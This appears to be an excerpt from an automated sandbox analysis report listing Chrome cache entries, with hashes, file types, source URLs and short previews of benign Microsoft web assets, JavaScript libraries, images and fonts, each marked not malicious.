Entropy (8bit):	5.225028044529473
Encrypted:	false
SSDEEP:	3072:1f4HuF7pxnISnJ9d1EwgXA7nKRZMK/xw/:1f4Hu1I+kw/
MD5:	B9C3E4320DB870036919F1EE117BDA6E
SHA1:	29B5A9066B5B1F1FE5AFE7EE986E80A49E86606A
SHA-256:	A1FE019388875B696EDB373B51A51C0A8E3BAD52CD489617D042C0722BDB1E48
SHA-512:	A878B55E8C65D880CDF14850BAEE1F82254C797C3284485498368F9128E42DCA46F54D9D92750EEEB547C42CAB9A9823AA9AFAB7D881090EBBFA1135CDD410B6
Malicious:	false
URL:	https://www.microsoft.com/onerfstatics/marketingsites-wcus-prod/shell/_scrf/js/themes=default/54-af9f9f/d4-fb1f57/e1-a50eee/e7-954872/d8-97d509/f0-251fe2/46-be1318/77-04a268/11-240c7b/63-077520/a4-34de62/f9-a5b2ce/db-bc0148/dc-7e9864/6d-c07ea1/6f-dafe8c/f6-aa5278/73-a24d00/6d-1e7ed0/b7-cadaa7/c4-898cf2/ca-40b7b0/4e-ee3a55/3e-f5c39b/c3-6454d7/f9-7592d3/d0-e64f3e/92-10345d/79-499886/7e-cda2d3/58-ab4971/ca-108466/e0-3c9860/de-884374/1f-100dea/33-abe4df/2b-8e0ae6?ver=2.0&_cf=02242021_3231&iife=1
Preview:	(function(){/*. @license almond 0.3.3 Copyright jQuery Foundation and other contributors.. * Released under MIT license, http://github.com/requirejs/almond/LICENSE. /.var requirejs,require,define,__extends;(function(n){function r(n,t){return w.call(n,t)}function s(n,t){var o,s,f,e,h,p,c,b,r,l,w,k,u=t&&t.split("/"),a=i.map,y=a&&a[""]\|\|{};if(n){for(n=n.split("/"),h=n.length-1,i.nodeIdCompat&&v.test(n[h])&&(n[h]=n[h].replace(v,"")),n[0].charAt(0)==="."&&u&&(k=u.slice(0,u.length-1),n=k.concat(n)),r=0;r<n.length;r++)if(w=n[r],w===".")n.splice(r,1),r-=1;else if(w==="..")if(r===0\|\|r===1&&n[2]===".."\|\|n[r-1]==="..")continue;else r>0&&(n.splice(r-1,2),r-=2);n=n.join("/")}if((u\|\|y)&&a){for(o=n.split("/"),r=o.length;r>0;r-=1){if(s=o.slice(0,r).join("/"),u)for(l=u.length;l>0;l-=1)if(f=a[u.slice(0,l).join("/")],f&&(f=f[s],f)){e=f;p=r;break}if(e)break;!c&&y&&y[s]&&(c=y[s],b=r)}!e&&c&&(e=c,p=b);e&&(o.splice(0,p,e),n=o.join("/"))}return n}function y(t,i){return function(){var r=b.call(arguments,0

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (28902)
Category:	dropped
Size (bytes):	28968
Entropy (8bit):	5.322762414327222
Encrypted:	false
SSDEEP:	768:OZ7yPTLT+0SwPOisxsBa6Ql2G7se0COJq6i8QCYhNbwKCzgR6+Rc/oFhjdVdFA:OZ7yL+0SwPOisxsBa6w2G7seKCgSdV3A
MD5:	04C2CA734698650A1167272BD37C27A5
SHA1:	6E80A70999DEFA4CB58EA6912D284B29D0E5C91B
SHA-256:	A31622B70C4F59D1E77957BFADDB3D9EFF8936AF8DC1BC7E155086F38C72F761
SHA-512:	509689E9BA9B245C5926769F2265BEBA06465C1DA53E917B5D6B6796BCEF555BD23CD00370435ECBAE10824EF46B607542EA9F14941AFCCB7C4D5CEF5D7ECFB7
Malicious:	false
Preview:	/! For license information please see main.min.js.LICENSE.txt /.(()=>{var t={8791:(t,e,n)=>{function i(t){return i="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},i(t)}t=n.nmd(t),function(e){var n=function(t,e,n){"use strict";var i,o;if(function(){var e,n={lazyClass:"lazyload",loadedClass:"lazyloaded",loadingClass:"lazyloading",preloadClass:"lazypreload",errorClass:"lazyerror",autosizesClass:"lazyautosizes",fastLoadedClass:"ls-is-cached",iframeLoadMode:0,srcAttr:"data-src",srcsetAttr:"data-srcset",sizesAttr:"data-sizes",minSize:40,customMedia:{},init:!0,expFactor:1.5,hFac:.8,loadMode:2,loadHidden:!0,ricTimeout:0,throttleDelay:125};for(e in o=t.lazySizesConfig\|\|t.lazysizesConfig\|\|{},n)e in o\|\|(o[e]=n[e])}(),!e\|\|!e.getElementsByClassName)return{init:function(){},cfg:o,noSupport:!0};var r=e.documentElement,a=t.HTMLPictureElement,s="add

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 216 x 46, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	4054
Entropy (8bit):	7.797012573497454
Encrypted:	false
SSDEEP:	48:zICvnyRHJ3BRZPcSPQ72N2xoiR4fTJX/rj4sFNMkk5/p1k2lPUmbm39o4aL7V9XH:10nvE724xoiRQJPrjpLKSFl9oX31Z1d
MD5:	9F14C20150A003D7CE4DE57C298F0FBA
SHA1:	DAA53CF17CC45878A1B153F3C3BF47DC9669D78F
SHA-256:	112FEC798B78AA02E102A724B5CB1990C0F909BC1D8B7B1FA256EAB41BBC0960
SHA-512:	D4F6E49C854E15FE48D6A1F1A03FDA93218AB8FCDB2C443668E7DF478830831ACC2B41DAEFC25ED38FCC8D96C4401377374FED35C36A5017A11E63C8DAE5C487
Malicious:	false
URL:	https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE1Mu3b?ver=5c31
Preview:	.PNG........IHDR.............J.......tEXtSoftware.Adobe ImageReadyq.e<...(iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c132 79.159284, 2016/04/19-13:13:40 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:A00BC639840A11E68CBEB97C2156C7FD" xmpMM:InstanceID="xmp.iid:A00BC638840A11E68CBEB97C2156C7FD" xmp:CreatorTool="Adobe Photoshop CC 2015.5 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A2C931A470A111E6AEDFA14578553B7B" stRef:documentID="xmp.did:A2C931A570A111E6AEDFA14578553B7B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......DIDATx..\..UU.>.7..3....h.L..& j2...h.@..".........`U.......R"..Dq.&.BJR 1.4`$.200...l........wg.y.[k/

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (51067)
Category:	dropped
Size (bytes):	51103
Entropy (8bit):	5.2052345984836235
Encrypted:	false
SSDEEP:	1536:t64rS74rE64rS74rsqGKTmGjgEojgszrWKr+zrWKrC:BqPaGu
MD5:	24A5B93B0FAD21FF3EE2913DEA782761
SHA1:	04FF05DB35B6A27C6415632B84D7B3A1F6BD2F54
SHA-256:	323C0988221AA039B2EC9579185C09173357C47E07631559E2C304A6690E14F0
SHA-512:	25976708593302D232EFC347CF11BD364EEA8D29887745608DFCF9966DF36AE7F261F9CBC458BC3290709BF6BC5D1CE8C9322B75D000FF67EE87D276FD0ABBD3
Malicious:	false
Preview:	!function(n){function e(a){if(t[a])return t[a].exports;var o=t[a]={i:a,l:!1,exports:{}};return n[a].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var t={};e.m=n,e.c=t,e.d=function(n,t,a){e.o(n,t)\|\|Object.defineProperty(n,t,{configurable:!1,enumerable:!0,get:a})},e.n=function(n){var t=n&&n.__esModule?function(){return n.default}:function(){return n};return e.d(t,"a",t),t},e.o=function(n,e){return Object.prototype.hasOwnProperty.call(n,e)},e.p="scripts/",e(e.s=218)}({13:function(n,e){function t(n){var e="?"===n.charAt(0)?n.substring(1):n,t=e.split("&"),a={};return angular.forEach(t,function(n){var e=n.split("="),t=decodeURIComponent(e.shift()),o=decodeURIComponent(e.join("="));a.hasOwnProperty(t)?(angular.isArray(a[t])\|\|(a[t]=[a[t]]),a[t].push(o\|\|"")):a[t]=o\|\|""}),a}n.exports=t},14:function(n,e){function t(n,e){var t={};return Object.keys(n).forEach(function(a){0===a.indexOf(e)&&(t[a.substring(e.length)]=n[a],delete n[a])}),t}n.exports={extractFields:t}},17:function(n,e){function t(){va

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	43905
Entropy (8bit):	5.452759031447819
Encrypted:	false
SSDEEP:	768:naF93b8Ih0YgCee+Bgsymb0Mh0H3vG5DJmltD6o:64DTEm1iH/GVJmltuo
MD5:	5AAA8C37CD59979B920CD21C4A50A38D
SHA1:	0EE61E3B2D58513B92CF4C6B5114C1BEB55539E7
SHA-256:	DB6C6F42E1D56092FB2C3D317968077CB29435139274FAEFBF4AB7681955BEC6
SHA-512:	0FB4C45DB9F29963FCE195E79B4E9963E57A50EF0FCAB74466D6034834E0099F1F344A8569973D4C1ECE05D9B70B5938B42EAD4FABAA08DE7D24C911DF28C235
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Generator: Adobe Illustrator 24.3.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->..<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... viewBox="0 0 636 300" style="enable-background:new 0 0 636 300;" xml:space="preserve">..<style type="text/css">....st0{fill:#FBC977;}....st1{fill:#57AA9A;}....st2{fill:#F7B548;}....st3{fill:#6BA8F1;}....st4{fill:#BDD8F9;}....st5{fill:#8065E0;}....st6{fill:#FFFFFF;}....st7{fill:#1572E0;}....st8{fill:#B0D1F7;}....st9{fill:#FFD590;}....st10{fill:#7FD5CA;}....st11{fill:#D8E8FB;}....st12{fill:#C2E8E3;}....st13{fill:#FFECCD;}....st14{fill:#FEDEA7;}....st15{fill:#D1C5F4;}....st16{fill:#70D6E0;}....st17{fill:#25BACA;}....st18{fill:#1BA1B5;}....st19{fill:#8A6FE8;}....st20{fill:url(#SVGID_1_);}....st21{fill:#522CD5;}....st22{fill:url(#SVGID_2_);}....st23{fill:url(#SVGID_3_);}....st24{fill:url(#SVGID_4_);}....st25{fill:url(#SVGID_5_);}.

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1626)
Category:	downloaded
Size (bytes):	9404
Entropy (8bit):	5.243426803454784
Encrypted:	false
SSDEEP:	192:u8Z537OSsPyWKRwek9EGjMbiypOIPtlomll7:ug537OSsPyn+jMbiG3
MD5:	A0BBCA44D6EA98453E7B1140AC61F8A0
SHA1:	8603631CEC97CA04485B19CB148D9B6DCA8AD4AA
SHA-256:	ACAE85440B52DBBAB75F4D40FCB721ED434A819C4AB154A01CE63A9046534A37
SHA-512:	2C334D3CA590137646256E2FDE47272EC26828280814C75ED7313F439390BAFB98D8B43119951DA46A9BC51455FAC22E3B414B72BDA8870034194F88DD66B5FD
Malicious:	false
URL:	https://d6tizftlrpuof.cloudfront.net/live/scripts/campaign-include/a5f669c28be1979ab5e2785121a6e10b/v2/slideout.coffee
Preview:	(function(){var k=function(b,a){return function(){return b.apply(a,arguments)}};var g=window.parent;var h=g.document;var l=null;var m=window.usabilla_live.onEvent;var n=function(){function b(a,c,d,b,f){this.obj=a;this.property=c;this.off=d;this.on=b;this.defaultSpeed=f;this.doAnimation=k(this.doAnimation,this);this.callback=this.timer=this.goal=null}b.prototype.start=function(a,c){null==a&&(a=null);null==c&&(c=this.defaultSpeed);return this.animate(c,a,this.off,this.on)};b.prototype.stop=function(a,.c){null==a&&(a=null);null==c&&(c=this.defaultSpeed);return this.animate(c,a,this.on,this.off)};b.prototype.animate=function(a,c,d,b){"function"===typeof this.callback&&this.callback(!1);this.callback=c;this.startVal=c=parseInt(this.obj.style[this.property])\|\|d;this.stopVal=b;this.speed=a*(1-(c-d)/(b-d));this.startTime=new Date;if(null===this.timer)return this.timer=setInterval(this.doAnimation,20)};b.prototype.doAnimation=function(){var a=Math.min(1,(new Date-this.startTime)/this.speed);a=(

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	35
Entropy (8bit):	2.9889227488523016
Encrypted:	false
SSDEEP:	3:CUdrllHh/:HJ/
MD5:	28D6814F309EA289F847C69CF91194C6
SHA1:	0F4E929DD5BB2564F7AB9C76338E04E292A42ACE
SHA-256:	8337212354871836E6763A41E615916C89BAC5B3F1F0ADF60BA43C7C806E1015
SHA-512:	1D68B92E8D822FE82DC7563EDD7B37F3418A02A89F1A9F0454CCA664C2FC2565235E0D85540FF9BE0B20175BE3F5B7B4EAE1175067465D5CCA13486AAB4C582C
Malicious:	false
Preview:	GIF89a.............,...........D..;

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65398)
Category:	downloaded
Size (bytes):	157941
Entropy (8bit):	5.427525512913149
Encrypted:	false
SSDEEP:	3072:3a1X95TgJ4EByVFyt2VYX3p+mxOBqT3D/xXc:3uDs4EBys8WDTT/xXc
MD5:	EB9A4F7F7F5D2530C19F550119593B3B
SHA1:	21C9DFFA6C33B1C3B1AA61E949DA5CDCB2698D58
SHA-256:	4D5D28CB98E14CC549CCB63DBF2D60D40D6A41E5B594984EB4C6CAE4FF07A265
SHA-512:	1145CE8154CBDBFEA1FCF9E6851D48E7E9BF066B7321CA5ECB6E30B44904A18D8B4835E40791A67FF90000FE9E40CEC87055C0CC67FA3A04177CBF17B86713A5
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.analytics-web-4.min.js
Preview:	/!. 1DS JS SDK Analytics Web, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,n){var t="undefined";if("object"==typeof exports&&typeof module!=t)n(exports);else if("function"==typeof define&&define.amd)define(["exports"],n);else{var r,i,e=typeof globalThis!=t?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_analytics_web_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},g=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},p=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),n(a),a)r="x",f[i]=a[i],g[i]=s,typeof d[i]==t?(r="n",(d[i]=a[i])&&(p[i]=s)):p[i]\|\|(p[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(t){"use strict";var u="object",se="undefined",s="prototype",l=Object,f=l[s];function d(e,n){return e\|\|n}var g,ie=undefined,m=null,v="",T="function",b="object",I="prototype",C="__proto__",E="undefined",N="constructor",S="Symbol",P="_polyfill",w="length",A="name",Y="call",D="toString",O=d(Object),_

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65320)
Category:	downloaded
Size (bytes):	244128
Entropy (8bit):	5.1648356381181175
Encrypted:	false
SSDEEP:	6144:tGtfuaUnEgYNMqgvQNk6hNO67JnYLpl1JaagEVzOo5UvNSXYivlQ1:0JnYLpl1JaagEVzOo5UvNSXYivi1
MD5:	D18492C35198839ECEB6DCC78981568D
SHA1:	33F5B9BC30CE74FC1E43BF9416868179FB643D73
SHA-256:	0F8BF4C563D005B41C1A720A536572C411D3F9CF138869FE085E7DAC2CD97FA5
SHA-512:	F24D5AE806F91343CC40FBAE12E86F313A31E5BCE0DA7FBC7F79ABEA958C9AC53950B71AEF15FBB39E8F45896ACDC6E530FD27923A1B5AF325DBBF641B34D3A5
Malicious:	false
URL:	https://dotnet.microsoft.com/static/css/bootstrap-custom.min.css?v=1bpqJkhBrO8vf5QShbYWqAyD97CGYCmfS57-s3YdDzw
Preview:	./!. Bootstrap v4.6.2 (https://getbootstrap.com/). * Copyright 2011-2022 The Bootstrap Authors. * Copyright 2011-2022 Twitter, Inc.. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE). */:root{--blue: #007bff;--indigo: #6610f2;--purple: #6f42c1;--pink: #e83e8c;--red: #dc3545;--orange: #fd7e14;--yellow: #ffc107;--green: #28a745;--teal: #20c997;--cyan: #17a2b8;--white: #fff;--gray: #6c757d;--gray-dark: #343a40;--primary: #007bff;--secondary: #6c757d;--success: #28a745;--info: #17a2b8;--warning: #ffc107;--danger: #dc3545;--light: #f8f9fa;--dark: #343a40;--breakpoint-xs: 0;--breakpoint-sm: 576px;--breakpoint-md: 768px;--breakpoint-lg: 992px;--breakpoint-xl: 1200px;--font-family-sans-serif: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, "Noto Sans", "Liberation Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";--font-family-monospace: SFMono-Regular, Menlo, Monaco, Consolas, "Liberati

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	43905
Entropy (8bit):	5.452759031447819
Encrypted:	false
SSDEEP:	768:naF93b8Ih0YgCee+Bgsymb0Mh0H3vG5DJmltD6o:64DTEm1iH/GVJmltuo
MD5:	5AAA8C37CD59979B920CD21C4A50A38D
SHA1:	0EE61E3B2D58513B92CF4C6B5114C1BEB55539E7
SHA-256:	DB6C6F42E1D56092FB2C3D317968077CB29435139274FAEFBF4AB7681955BEC6
SHA-512:	0FB4C45DB9F29963FCE195E79B4E9963E57A50EF0FCAB74466D6034834E0099F1F344A8569973D4C1ECE05D9B70B5938B42EAD4FABAA08DE7D24C911DF28C235
Malicious:	false
URL:	https://dotnet.microsoft.com/blob-assets/images/illustrations/downloading.svg
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Generator: Adobe Illustrator 24.3.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->..<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... viewBox="0 0 636 300" style="enable-background:new 0 0 636 300;" xml:space="preserve">..<style type="text/css">....st0{fill:#FBC977;}....st1{fill:#57AA9A;}....st2{fill:#F7B548;}....st3{fill:#6BA8F1;}....st4{fill:#BDD8F9;}....st5{fill:#8065E0;}....st6{fill:#FFFFFF;}....st7{fill:#1572E0;}....st8{fill:#B0D1F7;}....st9{fill:#FFD590;}....st10{fill:#7FD5CA;}....st11{fill:#D8E8FB;}....st12{fill:#C2E8E3;}....st13{fill:#FFECCD;}....st14{fill:#FEDEA7;}....st15{fill:#D1C5F4;}....st16{fill:#70D6E0;}....st17{fill:#25BACA;}....st18{fill:#1BA1B5;}....st19{fill:#8A6FE8;}....st20{fill:url(#SVGID_1_);}....st21{fill:#522CD5;}....st22{fill:url(#SVGID_2_);}....st23{fill:url(#SVGID_3_);}....st24{fill:url(#SVGID_4_);}....st25{fill:url(#SVGID_5_);}.

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (548)
Category:	downloaded
Size (bytes):	168517
Entropy (8bit):	5.400754535964317
Encrypted:	false
SSDEEP:	3072:hQD7v0vGCBCMUQj7rYWMteQ0AE21keUJoI99FmqZ:u0DoYcWM9F/I9FvZ
MD5:	07A72B597F2FC10D6F88C8277D903D94
SHA1:	AEE1F2A2174D18B9BA0C8652E39290DEA2F71DF9
SHA-256:	CC1CB5976581021DAF3C5F2B9E314C517BA3B1F90A8F26B4272E63EB22A3D3E4
SHA-512:	1B77F8A335F7DB526AEB4FC0A95F65820499B2B97C215B31C22F73FF0C35FC3915E2B4DCCF1FC32E4B9F225E3C56045DCC361A745052189197A6D192D5733443
Malicious:	false
URL:	https://d6tizftlrpuof.cloudfront.net/vendor/1.6.5/angular.min.js
Preview:	/. AngularJS v1.6.5. (c) 2010-2017 Google, Inc. http://angularjs.org. License: MIT./.(function(x){'use strict';function pe(a){if(G(a))t(a.objectMaxDepth)&&(Lc.objectMaxDepth=Tb(a.objectMaxDepth)?a.objectMaxDepth:NaN);else return Lc}function Tb(a){return W(a)&&0<a}function K(a,b){b=b\|\|Error;return function(){var d=arguments[0],c;c="["+(a?a+":":"")+d+"] http://errors.angularjs.org/1.6.5/"+(a?a+"/":"")+d;for(d=1;d<arguments.length;d++){c=c+(1==d?"?":"&")+"p"+(d-1)+"=";var e=encodeURIComponent,f;f=arguments[d];f="function"==typeof f?f.toString().replace(/ \{[\s\S]*$/,""):"undefined"==.typeof f?"undefined":"string"!=typeof f?JSON.stringify(f):f;c+=e(f)}return new b(c)}}function oa(a){if(null==a\|\|Za(a))return!1;if(I(a)\|\|C(a)\|\|z&&a instanceof z)return!0;var b="length"in Object(a)&&a.length;return W(b)&&(0<=b&&(b-1 in a\|\|a instanceof Array)\|\|"function"===typeof a.item)}function p(a,b,d){var c,e;if(a)if(E(a))for(c in a)"prototype"!==c&&"length"!==c&&"name"!==c&&a.hasOwnProperty(c)&&b.call(d,a

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3113)
Category:	downloaded
Size (bytes):	3187
Entropy (8bit):	5.2293353413807315
Encrypted:	false
SSDEEP:	48:QNQC7HIsY/7yEGF8nbEsvE4PySU9ZYp6iwAwLMj+oQFBreZIVvZ9GSMv+kQ5dreW:vCDIg36zIYShXreyVvmmVPreIVvp
MD5:	5EB247CBCBF666E2517E5F1256B52B5C
SHA1:	D74454D4CBA8F1C1AA8270AB092111EC63E69594
SHA-256:	E02F294B19EF5B7A0421AB25A055738F6F4BAABAFFB3030132FF08121A338459
SHA-512:	B3F7889850DA89185FF6E48675D0E52F3550561C2B4EC6502A67FC06451846A51E47F4D16AE15F351998CF2592292C1F4FB455DCC9756A3B19A79E281AFA24F4
Malicious:	false
URL:	https://dotnet.microsoft.com/static/js/theme-toggle.min.js?v=Hzeaewz3K2TLDzdc6ushOOcPalFLIXEQvl0TE_N65-U
Preview:	/! For license information please see theme-toggle.min.js.LICENSE.txt /.(()=>{"use strict";function e(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var n in r)e[n]=r[n]}return e}var t,r,n,o,c,a,i,m,d,s,u=function t(r,n){function o(t,o,c){if("undefined"!=typeof document){"number"==typeof(c=e({},n,c)).expires&&(c.expires=new Date(Date.now()+864e5*c.expires)),c.expires&&(c.expires=c.expires.toUTCString()),t=encodeURIComponent(t).replace(/%(2[346B]\|5E\|60\|7C)/g,decodeURIComponent).replace(/[()]/g,escape);var a="";for(var i in c)c[i]&&(a+="; "+i,!0!==c[i]&&(a+="="+c[i].split(";")[0]));return document.cookie=t+"="+r.write(o,t)+a}}return Object.create({set:o,get:function(e){if("undefined"!=typeof document&&(!arguments.length\|\|e)){for(var t=document.cookie?document.cookie.split("; "):[],n={},o=0;o<t.length;o++){var c=t[o].split("="),a=c.slice(1).join("=");try{var i=decodeURIComponent(c[0]);if(n[i]=r.read(a,i),e===i)break}catch(e){}}return e?n[e]:n}},remove:function(t,r){o(t,""

Chrome Cache Entry: 133

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, 15 tables, 1st "OS/2", 49 names, Macintosh, \251 2017 Microsoft Corporation. All Rights Reserved.
Category:	downloaded
Size (bytes):	24188
Entropy (8bit):	6.461382405251354
Encrypted:	false
SSDEEP:	384:P0zrnuA3jB866z80wRGWV+D+plmj95IFBP7Fu9IXt+fTptL4EGMGlvxMni7/xcH:cOyeD8DDVu+pA9K5Xt8ArH2iWH
MD5:	C1B1B034B050AF51BDEA2DAE6F390A97
SHA1:	2855882B8159541682B4CEFF0176C5F1CE6472AE
SHA-256:	CBD89E5637327E186B67DDF3D1D27F53566022E627530AB3CF0C5E38AFF8CD5A
SHA-512:	0D49AE4D90414C35B18C02C1A928DADED1782DEF517F55E27A69156A9AD22C2B295653BD1403C1705C4D68979856B1929D9925CEE47FCE220E2076912F224D35
Malicious:	false
URL:	https://dotnet.microsoft.com/static/fonts/dotnetmdl2-icons-061622.ttf
Preview:	...........pOS/2JM.6...x...`VDMX.^.q........cmap}.....t....cvt ...........fpgm......\|...Ygasp......^p....glyfGc.=......C.head..?........6hhea.......4...$hmtx.z..........loca..U........maxp.m._...X... name5....R`....post.Q.w..^P... prepx....................<Y_.<.................................................................................X.^.....................................3.......3.....f..............................MS .@............................. ..............1...........................................................................................................%.....`.......................@...............@..................................................................................................................................................................................... . ...!.!..."."...#.#...$.$...%.%...&.&...'.'...(.(...).).......+.+...,.,...-.-........././...0.0...1.1...2.2...3.3...4.4...5.5...6.6...7.7...8.8...9.9...:.:...;.;...<.<...=.=..

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 26288, version 0.0
Category:	downloaded
Size (bytes):	26288
Entropy (8bit):	7.984195877171481
Encrypted:	false
SSDEEP:	768:56JqQaQphRbTHiKNF5z/02h5KpJW3pPOA8Y9g/:gdTTH5XKpJWdH1W/
MD5:	D0263DC03BE4C393A90BDA733C57D6DB
SHA1:	8A032B6DEAB53A33234C735133B48518F8643B92
SHA-256:	22B4DF5C33045B645CAFA45B04685F4752E471A2E933BFF5BF14324D87DEEE12
SHA-512:	9511BEF269AE0797ADDF4CD6F2FEC4AD0C4A4E06B3E5BF6138C7678A203022AC4818C7D446D154594504C947DA3061030E82472D2708149C0709B1A070FDD0E3
Malicious:	false
URL:	https://www.microsoft.com/mwf/_h/v3.54/mwf.app/fonts/mwfmdl2-v3.54.woff
Preview:	wOFF......f........D........................OS/2...X...H...`JM.FVDMX.............^.qcmap..............9cvt ...4... .......fpgm...T.......Y...gasp...D............glyf...P..U5.......head..]....2...6...Chhea..]........$$...hmtx..]..........ye'loca..^............Gmaxp..`.... ... ./..name..`....8....]..Rpost..f........ .Q.wprep..f$........x...x.c`.Pf......:....Q.B3_dHc..`e.bdb... .`@..`......./9.\|...V...)00...-.Wx...S......._..m.m.m.m.m;e..y.~.......<p..a.0t.&...a.pa.0B.1..F...Q.ha.0F.3.....q.xa.0A.0L.&...I.da.0E.2L....i.ta.0C.1..f...Y.la.0G.3.....y.\|a..@X0,.....E.ba.DX2,....e.ra..BX1..V...U.ja..FX3.....u.za..A.0l.6...M.fa.E.2l....m.va..C.1..v...].na..G.3......}.~a.p@80......C.a..pD82.....c.q..pB81..N...S.i..pF83.....s.y..pA.0\.....K.e..pE.2\....k.u..pC.1..n...[.m..pG.3......{.}...@x0<.....G.c...Dx2<....g.s...Bx1..^...W.k...Fx3.....w.{...A.0\|.>...O.g...E.2\|....o.w...C.1..~..._.o..08........?..0$........x...mL.U.............9.x.`[...&BF@X...V.h.Z..h......`n....[..U

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4998)
Category:	dropped
Size (bytes):	5074
Entropy (8bit):	5.311220034728331
Encrypted:	false
SSDEEP:	96:+OoX95qUqfhED0rlGdGCekSc8XxFUGoXI2g/yC:YN5fqJSKlGkX/XxFToOyC
MD5:	6532C22308C8A21D19BD519E0EAE4CA6
SHA1:	259F289F19BE2A201047BCA71AFA735FF47BD86F
SHA-256:	DC4C1322CF71429B18993DE4173B0BC743D20136E31802EE8C59CA5AE4A7D6B2
SHA-512:	6CDD1241C6625D2E99B1858E141A76215A39122976034E30E1ECE76AC547AD3C1F92371F24436532AF9158E9D43CF05879624D4349F61D822A683DC61EFA8C07
Malicious:	false
Preview:	/! For license information please see cookie-consent.min.js.LICENSE.txt /.(()=>{var e={1256:(e,t,n)=>{var o=n(2581),r=n(4552),i=o.analytics;r.analytics=i,e.exports=o},4552:(e,t,n)=>{"use strict";function o(e){return o="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},o(e)}e.exports=function(){if("object"===("undefined"==typeof globalThis?"undefined":o(globalThis)))return globalThis;var e;try{e=this\|\|new Function("return this")()}catch(e){if("object"===("undefined"==typeof window?"undefined":o(window)))return window;if("object"===("undefined"==typeof self?"undefined":o(self)))return self;if(void 0!==n.g)return n.g}return e}()},2581:(e,t,n)=>{"use strict";n.r(t),n.d(t,{analytics:()=>o,initializeAdobeTarget:()=>i});const o=new oneDS.ApplicationInsights,r=document.head.querySelector('meta[name="awa-error"]');(r\|\|{}).content&&(config.webAn

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (31409)
Category:	downloaded
Size (bytes):	32214
Entropy (8bit):	4.521748194085361
Encrypted:	false
SSDEEP:	384:W8qIaOItzjVk4IxELIQ97IbIVeIc3USzIBi8g:CIaOItjxI4IQ97IbIVeIc3USzfr
MD5:	313C7DBAC880D707704283F453F29BBE
SHA1:	C12BB78E35A84AB0C6F6932296F17644E93B092F
